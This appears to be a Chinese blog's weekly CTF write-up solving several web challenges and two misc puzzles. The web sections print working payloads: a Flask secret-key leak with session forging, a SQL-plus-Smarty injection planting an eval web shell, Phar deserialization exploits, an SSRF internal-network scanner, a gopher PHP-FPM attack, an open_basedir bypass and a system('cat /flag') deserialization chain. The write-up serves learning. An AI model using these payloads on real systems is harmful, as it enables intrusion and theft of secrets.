LOADING

加载过慢请开启缓存 浏览器默认开启

ZiAzusa#2024W4 依然是这周做的一些题~

2024/12/1 周报 CTF WriteUp
字数统计: 5k字 阅读时长: 约24分 本文阅读量:

Web

选拔赛Web复现: Pythop

本题看似是PHP,但是其响应头和报错无不表明这是一个Flask,只不过路由名字都加了.php。

首先访问靶机,会跳转到login.php,先注册个账号:

alt text

登录会显示“给你看个大宝贝”:

alt text

进去看看,发现是一个任意文件读:

alt text

alt text

阅读代码可知只需要传入 img=../app.py 再Base64解码就能得到源码了:

注:这里在比赛环境下被Nginx反向代理ban掉了../,会在这一步卡住,读不到源码...
import os
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect,url_for
from Users import Users

users=Users()

app=Flask(__name__)

app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()

@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
    if not session or not session.get('username'):
        return redirect("login.php")
    else:
        return render_template("index.html",username=session.get('username') )

@app.route('/login.php',methods=['GET','POST'])
def login():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str and users.login(username,password):
            session['username']=username
            return "Login success! <a href='show.php?img=dabaobei.png'>给你看个大宝贝</a>"
        else:
            return "Login fail!"
    return render_template("login.html")

@app.route('/logout.php',methods=['GET','POST'])
def logout():
    session.clear()
    return redirect("login.php")

@app.route('/show.php',methods=['GET','POST'])
def show ():
    def waf(s):
        blacklist = ['flag','proc','sys','os','exec','eval','subprocess','input','open','env','config']
        for i in blacklist:
            if i in s:
                return True
    if not session or not session.get('username'):
        return redirect("login.php")
    if (img:=request.args.get('img')) and not waf(img):
        
        return '''<img width=520 src="data:image/png;base64,'''+base64.b64encode(open('static/'+img,"rb").read()).decode()+'''">'''

@app.route('/register.php',methods=['GET','POST'])
def register():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):
            return "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)
        else:
            return "Register fail!"
    return render_template("register.html")

@app.route('/flag.php',methods=['GET','POST'])
def get_flag():
    if not session or not session.get('username'):
        return redirect("login.php")
    if (flag:=request.args.get('flag')):
        if session.get('username')=="admin" and flag=="get_flag":
            return "Flag is: "+  os.environ.get('GZCTF_FLAG') if os.environ.get('GZCTF_FLAG') else "No flag found!"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

同时看看它引入的Users.py:

import hashlib

class Users:
    passwords={}

    def register(self,username,password):
        if username in self.passwords:
            return False
        self.passwords[username]=hashlib.md5(password.encode()).hexdigest()
        return True

    def login(self,username,password):
        if username in self.passwords and self.passwords[username]==hashlib.md5(password.encode()).hexdigest():
            return True
        return False

显然就是要利用Flask的Secret Key修改Session,登录admin,然后访问 /flag.php?flag=get_flag 即可得到flag。

猜测在注册页面的回显存在SSTI,尝试在username传入 {{config}},发现没成功,再尝试传入 {config} 发现报错了:

alt text

通过代码和Hint可知,这道题就是要利用注册存在的format格式化字符串存在的漏洞了。

查阅资料了解到,当两个format连着使用且第一个format传入的内容可控则存在漏洞:

在执行第二个format时,第一个format若传入的刚好是形如 {xxx} 的字符串,则它会被第二个字符串解析并进行格式化,例如:

username = "{password}"
password = "123456"
string = "{username}".format(username=username).format(password=password)
print(string) # 此时会打印123456

那么这道题的解题思路就有了,已知admin密码的md5值也是Flask的Secret Key,而且存储在了users.passwords中,那么只需要读取users.passwords就可以读到Secret Key,然后直接修改Session内容为admin即可。

payload如下:

POST: password=111&username={users.passwords}

alt text

接下来修改Session即可:

python flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6ImFhYSJ9.Z0RsxA.cUU8GhaG8-CXxtaqL7m-aSRE2d8" -s "6dcf3ab23e010b28a82dac66b10b48ed" 
# b'{"username":"aaa"}'
python flask_session_cookie_manager3.py encode -t '{"username":"admin"}' -s "6dcf3ab23e010b28a82dac66b10b48ed"
# eyJ1c2VybmFtZSI6ImFkbWluIn0.Z0RtKQ.21ErNfBHVvTHTsxqNXY2IGGxiY0

修改为得到的Session,然后访问 /flag.php?flag=get_flag 即可得到flag(在本地搭建会得到No flag found!)。

总结

比赛过程中没做出来实在可惜。

通过这道题学习到了可以利用Python的格式化字符串漏洞来读取敏感信息(经过测试不能RCE,只能读变量)。

有关在无法读到完整源代码的情况下如何判断是防火墙或Nginx反向代理的影响而不是被waf:

在/show.php路由的报错中能够找到以下部分:

    if not session or not session.get('username'):
        return redirect("login.php")
    if (img:=request.args.get('img')) and not waf(img):
        
        return '''<img width=520 src="data:image/png;base64,'''+base64.b64encode(open('static/'+img,"rb").read()).decode()+'''">'''

通常情况下,在未登录的时候访问/show.php会跳转到/login.php,运行不到对img参数进行waf那一步,而此时却是直接超时,因此可以判断不是题目本身的waf。

而在之前的新生赛中同样存在SQL注入 1' or 1=1# 超时的问题,情况类似,所以得到以上判断。

BUUCTF: [D3CTF 2019]EasyWeb

阅读源码可以发现是一个框架,先打开注册登录:

alt text

可以在/user/index下发现一个基于用户名渲染出来的页面。

进/application/controllers/User.php看看index是怎么定义的:

public function index()
{
    if ($this->session->has_userdata('userId')) {
        $userView = $this->Render_model->get_view($this->session->userId);
        $prouserView = 'data:,' . $userView;
        $this->username = array('username' => $this->getUsername($this->session->userId));
        $this->ci_smarty->assign('username', $this->username);
        $this->ci_smarty->display($prouserView);
    } else {
        redirect('/user/login');
    }
}

可以发现它会将user_id传入get_view拿到用户名,然后拼接上一个data协议就丢进框架的display里面了。

跟进get_view(/application/models/Render_model.php):

public function get_view($userId){
    $res = $this->db->query("SELECT username FROM userTable WHERE userId='$userId'")->result();
    if($res){
        $username = $res[0]->username;
        $username = $this->sql_safe($username);
        $username = $this->safe_render($username);
        $userView = $this->db->query("SELECT userView FROM userRender WHERE username='$username'")->result();
        $userView = $userView[0]->userView;
        return $userView;
    }else{
        return false;
    }
}

private function safe_render($username){
    $username = str_replace(array('{','}'),'',$username);
    return $username;
}

private function sql_safe($sql){
    if(preg_match('/and|or|order|delete|select|union|load_file|updatexml|\(|extractvalue|\)|/i',$sql)){
        return '';
    }else{
        return $sql;
    }
}

可以发现其进行了两次对SQL注入的过滤,第一次判断字符串里面有没有黑名单的字符,第二次将 {} 去掉。

这就存在SQL注入的漏洞了,只需要用户名是形如:

1' un{ion sel}ect 1 #

这样的格式,就可以绕过waf,并拼接进后续的查询语句中。

而既然查询得到的结果会被拼接上data:协议并被display,这里显然就是要进行模板注入了。

查阅资料了解到Smarty这个框架支持使用 {{$smarty.version}} 这样形式的标签生成模板。

需要注意的是,模板注入中存在的花括号会撞上waf,这里可以使用十六进制绕过。

所以想要获得框架的版本号,只需要注册:

1' un{ion sel}ect 0x7b7b24736d617274792e76657273696f6e7d7d #

这样一个账号,然后登录访问/user/index即可。

alt text

非预期解

由于出题师傅采用了兼容低版本的SmartyBC引擎,在Smarty3的官方手册有以下描述:

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

SmartyBC支持php标签执行被包裹在其中的php指令,所以…这就可以RCE了。

只需要将上文的 {{$smarty.version}} 替换成 {{php}}eval($_POST[1]);{{/php}},就结束了…

payload:

1' un{ion sel}ect 0x7b7b7068707d7d6576616c28245f504f53545b315d293b7b7b2f7068707d7d #

alt text

接下来就是:

ls /
cat /WelL_Th1s_14_fl4g

预期解

使用SmartyBC引擎是出题师傅的疏漏,这道题的本意是要利用忽略掉的文件上传功能,挖出这个框架的POP链后打Phar反序列化,最后才能RCE。

参考:2019 D^3 CTF-easyweb预期解复现 | Somnus’s blog

总结

通过这道题重点了解到了对于POP链的挖掘的相关知识,积累到了SmartyBC框架可以利用php标签RCE,了解了SQL二次注入和模板注入。

BUUCTF: [NCTF2019]phar matches everything

原题的Hint提示有vim的.swp泄露,但是buu上的题目没泄露,而且给的源码链接还挂了,最后读了wp才找到源码…

根据题目提示,再加之打开是读取文件的MIME,就知道是打Phar反序列化了。

catchmime.php:

<?php
class Easytest {
    protected $test;
    public function funny_get(){
        return $this->test;
    }
}
class Main {
    public $url;
    public function curl($url){
        $ch = curl_init();  
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        $output=curl_exec($ch);
        curl_close($ch);
        return $output;
    }

    public function __destruct(){
        $this_is_a_easy_test=unserialize($_GET['careful']);
        if($this_is_a_easy_test->funny_get() === '1'){
            echo $this->curl($this->url);
        }
    }    
}

if(isset($_POST["submit"])) {
    $check = getimagesize($_POST['name']);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
    } else {
        echo "File is not an image.";
    }
}
?>

显然这道题是要利用Phar反序列化修改Main类的url属性以实现SSRF,Phar反序列化会在执行 getimagesize 时触发。

同时需要通过GET传入careful参数,内容为一个序列化字符串,来修改Easytest类的test属性。

此外绕过一下对文件类型的检查即可(添加GIF89a文件头)。

所以exp:

<?php 
@unlink("1.gif");

class Easytest{
    protected $test = "1";
}

class Main {
    public $url = "file:///etc/passwd";
}

$test = new EasyTest;
echo urlencode(serialize($test));
# O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
$obj = new Main();
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();");
$phar->setMetadata($obj);
$phar->addFromString("1.gif", "1");
$phar->stopBuffering();
unset($phar);
rename("1.phar", "1.gif");
?>

接下来将生成的1.gif上传,得到上传后的文件名。

访问catchmime.php即可实现SSRF/任意文件读,payload:

GET: careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
POST: name=phar:///var/www/html/uploads/060e64fa25.gif/1.gif&submit=

alt text

之后尝试读了/flag、/proc/1/environ、/proc/self/environ都读不到东西。

也尝试过找3306(MySQL)、5432(PostgreSQL)、6379(Redis)等常见数据库服务的端口,均无果。

读了WP才知道这道题是要打内网——利用SSRF攻击内网的PHP-FPM。

继而读/etc/hosts,发现也没给出内网的IP地址:

alt text

查阅资料了解到/proc/net/fib_trie会提供关于FIB(Forwarding Information Base,转发信息库)Trie(前缀树)的信息。其作用是高效地存储和查找路由表项。它以一种前缀树的形式组织了路由表项,其中每个节点表示一个路由前缀。通过在树中进行前缀匹配,内核可以快速找到与目标IP地址最匹配的路由表项。

即这个文件会存在靶机的内网IP和路由信息。

期间靶机过期过一次,需要从该步骤开始继续做题

读取得到:

Main:
  +-- 0.0.0.0/0 3 0 5
     +-- 0.0.0.0/4 2 0 2
        |-- 0.0.0.0
           /0 universe UNICAST
        |-- 10.244.244.53
           /32 host LOCAL
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     |-- 169.254.1.1
        /32 link UNICAST
Local:
  +-- 0.0.0.0/0 3 0 5
     +-- 0.0.0.0/4 2 0 2
        |-- 0.0.0.0
           /0 universe UNICAST
        |-- 10.244.244.53
           /32 host LOCAL
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     |-- 169.254.1.1
        /32 link UNICAST

其中10.244.244.53就是靶机的内网IP。

原WP里说靶机和PHP-FPM服务器IP差的不多,但是试了几个都没找到,故尝试搓个脚本扫整个内网网段:

import requests
import re
import time

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0",
    "Referer": "http://3f685e0f-c9ae-469f-aa85-f2026f29a7e4.node5.buuoj.cn:81/",
    "Accept": "*/*;"
}

i = 0
while i < 256:
    i += 1
    if i == 53:
        continue
    requests.get("http://127.0.0.1/phar.php?target=http://10.244.244.{}/".format(str(i)))
    time.sleep(0.5)
    with open("1.gif", "rb") as f:
        files = {
            "fileToUpload": f
        }
        res1 = requests.post("http://3f685e0f-c9ae-469f-aa85-f2026f29a7e4.node5.buuoj.cn:81/upload.php", headers=headers, files=files)
    try:
        filename = re.findall("file (.*).gif", res1.text)[0]
    except:
        i -= 1
        continue
    print(filename)
    data = {
        "name": "phar:///var/www/html/uploads/{}.gif/1.gif".format(filename),
        "submit": ""
    }
    try:
        res2 = requests.post("http://3f685e0f-c9ae-469f-aa85-f2026f29a7e4.node5.buuoj.cn:81/catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D", headers=headers, data=data, timeout=3)
    except:
        print("10.244.244.{} is not target".format(str(i)))
        continue
    if res2.text == "File is not an image.":
        print("10.244.244.{} is not target".format(str(i)))
        continue
    print(res2.text)
    print("target is 10.244.244.{}".format(str(i)))
    break

相应的位于127.0.0.1的phar.php需要修改为:

...
class Main {
    public $url;
    public function __construct($url) {
        $this->url = $url;
    }
}
$obj = new Main($_GET['target']);
...

执行得到:

83e6280f1b
File is not an image.powered by good PHP-FPM
target is 10.244.244.210

所以PHP-FPM位于10.244.244.210。

接下来就是利用 脚本 生成gopher协议传输tcp数据的payload了:

python main.py 10.244.244.210 /var/www/html/index.php -p 9000 -c "<?php phpinfo(); ?>" -u
# %01%01ya%00%08%00%00%00%01%00%00%00%00%00%00%01%04ya%01%DB%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH19%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%01%04ya%00%00%00%00%01%05ya%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05ya%00%00%00%00

所以打SSRF的url为:

gopher://10.244.244.210:9000/_%01%01ya%00%08%00%00%00%01%00%00%00%00%00%00%01%04ya%01%DB%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH19%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%01%04ya%00%00%00%00%01%05ya%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05ya%00%00%00%00

成功得到phpinfo:

alt text

在phpinfo中有以下两个关键点:

disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,putenv,proc_open,passthru,symlink,link,syslog,imap_open,dl,system,mb_send_mail,mail,error_log,unlink,delete,copy,rmdir
open_basedir: /var/www/html:/tmp

命令执行、创建符号链接都被ban了,还不能读根目录。

这里需要绕过open_basedir,查阅资料了解到PHP可以使用chdir(切换目录)和ini_set(重设php.ini)来绕过open_basedir,具体分析过程的博客挂了,这里附上 Wayback Machine 的链接。

所以payload:

<?php mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/')); ?>

重复上述gopher打PHP-FPM的过程就能找到flag在根目录下了:

alt text

接下来 var_dump(file_get_contents('/flag')); 即可。

总结

通过这道题积累了打PHP-FPM的脚本,了解到了flag存在于内网的其他服务器上的情况,同时练习了PHP的反序列化和Phar的反序列化,积累到了绕过open_basedir的姿势。

古剑山2024: un

打开页面可以发现是一个任意文件读,尝试直接读/flag发现大部分特殊符号都被ban了。

进而考虑先读源码 f=index.php

<?php

error_reporting(0);

class pop
{
    public $aaa;
    public static $bbb = false;

    public function __wakeup()
    {
        // PHP 5.4
        throw new Exception("You're banned to serialize pop!");    
    }

    public function __destruct()
    {
        for ($i=0; $i<2; $i++) {
            if (self::$bbb) {
                $this->aaa[1]($this->aaa[2]);
            } else {
                self::$bbb = call_user_func($this->aaa["object"]);
            }
        }
    }
}


if (isset($_GET["code"])) {
    unserialize(base64_decode($_GET["code"]));
} elseif (isset($_GET["f"])) {
    if(is_string($_GET["f"]) === false){
        echo "The f param must be string";
        exit();
    }
    $user_f = $_GET["f"];
    $regex = "/[ <>?!@#$%&*()+=|\\-\\\\}{:\";'~`,\\/]/";
    if(preg_match($regex, $user_f)){
        echo "The ".$user_f." has been detected by regular expression: ".$regex;
        exit();
    }
    echo file_get_contents($user_f);
}else{
    echo "<a href='/index.php?f=secret'>show me secret!</a>";
}

发现index.php里面还有一个反序列化的操作,显然就是要利用上面的pop类了。

注入点位于 $this->aaa[1]($this->aaa[2]); 函数名和参数都可控。

同时需要将bbb这个静态属性修改为true,而 self::$bbb = call_user_func($this->aaa["object"]); 就是一个赋值操作,只需要找一个无参数还返回true的函数即可。

第一次循环会修改bbb的值,第二次循环就会执行我们需要的命令了。

最后payload:

<?php
class pop
{
    public $aaa;
    public static $bbb = false;

    public function __construct($aaa) {
        $this->aaa = $aaa;
    }
}

echo serialize(new pop(["object" => "phpinfo", 1 => "system", 2 => "cat /flag"]));
# O:3:"pop":1:{s:3:"aaa";a:3:{s:6:"object";s:7:"phpinfo";i:1;s:6:"system";i:2;s:9:"cat /flag";}}

还需要打快速反序列化绕过__wakeup,把”pop”:1改为”pop”:2,然后base64 encode即可。

alt text

Misc

选拔赛Misc复现:2025

根据提示可以发现一共12组数字,每组数字范围都是01-31,后续又提示了星期,显然就是要查看2025年日历了。

在读日期的过程中发现一月的日期连起来像一个字母T,进而考虑是要把日期都选出来就看出flag了。

发现 Time.is 这个网站自带一个高亮选中日期的函数:

function dayclick(o) {
    var id = o.id
    pstart = id.split('_')
    pstart[3] = new Date(Date.UTC(pstart[1], pstart[2] - 1, pstart[3]))
    if (chosendayid != 0) {
        tm = gob(chosendayid)
        if (tm)
            tm.className = tm.className.replace(' chosen', '')
    }
    if (id != chosendayid) {
        tm = gob(id)
        tm.className = tm.className + ' chosen'
        chosendayid = id
        thisday(gob(id))
    } else {
        chosendayid = 0
        pstart = []
        thisdayout(gob(id))
    }
}

但是每次选中下一个日期,就会把前一个日期的高亮去掉,只需要把去掉高亮的代码删了,然后在控制台覆盖这个函数:

function dayclick(o) {
    var id = o.id
    pstart = id.split('_')
    pstart[3] = new Date(Date.UTC(pstart[1], pstart[2] - 1, pstart[3]))
    if (id != chosendayid) {
        tm = gob(id)
        tm.className = tm.className + ' chosen'
    }
}

接下来按照题目把日期都选上:

alt text

总结

嗯…这是脑洞题吧?(´ー∀ー`)

选拔赛Misc复现:RainbowCat

看到给了加密压缩包里面的文件就知道是明文攻击了。

但是尝试了7-zip和WinRAR对已知文件进行压缩,然后用ARCHPR进行明文攻击都得不到加密压缩包的密码。

赛后经出题人提示,不同的压缩软件的压缩算法存在差异,进行明文攻击必须要使用对应的压缩软件压缩…

常见的压缩软件除了7-zip和WinRAR不就剩下Bandizip了…

aaaaaa——/(ㄒoㄒ)/~~

在使用Bandizip压缩meao.png后顺利地开始破解了:

alt text

然后保存解密的压缩包,提取出里面gif的每一帧就找到flag了:

alt text

总结

意识到了自己对于压缩包方面的积累的不足,导致在比赛的紧张环境下没能及时想到换其他的压缩软件。